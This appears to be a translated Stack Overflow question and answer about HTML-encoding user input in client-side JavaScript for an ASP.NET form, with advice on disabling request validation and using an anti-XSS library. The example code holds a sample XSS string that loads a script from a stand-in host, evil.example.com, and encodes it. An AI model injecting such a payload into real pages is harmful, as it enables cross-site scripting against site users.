在JavaScript中编码字符串

时间:2011-01-03 11:22:17

标签: c# javascript asp.net

我需要JavaScript(客户端)中的HTML ENCODE一个字符串(用户可以在其中插入HTML TAGS)从TextBox中绕过Reqeust.Validation。

Javascript应该编码字符串并在标签中显示它编码。

       <asp:TextBox ID="uxValueInput" runat="server"></asp:TextBox>
       <br />
       <asp:Label ID="uxResultEncoded" runat="server" Text="Label"></asp:Label>
       <asp:Button ID="uxEncodeButton" runat="server" Text="Button" />

我是JavaScript的新手,我在网上尝试过不同的脚本,但没有成功。 你能发一个非常简单的例子,这样我就能理解它是如何工作的。谢谢!

1 个答案:

答案 0 :(得分:3)

我和David Dorland在一起:不要做这个客户端,而是禁用请求验证(here's an article saying how)。但如果你这样做,那么肯定你也可以使用Anti-XSS或类似的库来防止ASP.Net试图保护你的确切内容。

但是,如果您拥有在客户端上执行 minimal HTML编码的真实用例,则可以执行以下操作:

var escapes = {
    '<': '&lt;',
    '>': '&gt;',
    '&': '&amp;'
};
var raw = "Hi, I'm an <scr" + "ipt src='http://evil.example.com/attack.js'><\/script> evil & malicious attack.";
var encoded = raw.replace(/[<>&]/g, function(m) {
    return escapes[m];
});

Live example

以下是它的工作原理:

  1. 我们有一个名为escapes的地图,它将原始字符映射到HTML实体(因此将<映射到&lt;等。)
  2. 我们的原始字符串有恶意脚本。
  3. 我们使用String#replace和正则表达式搜索所有<>&字符,并将其替换为等效实体。当您将函数作为第二个参数传递给String#replace时,将为每个匹配调用它并使用返回值作为替换。正则表达式/[<>&]/g表示字符串中的“查找<>& 全局g标志) ”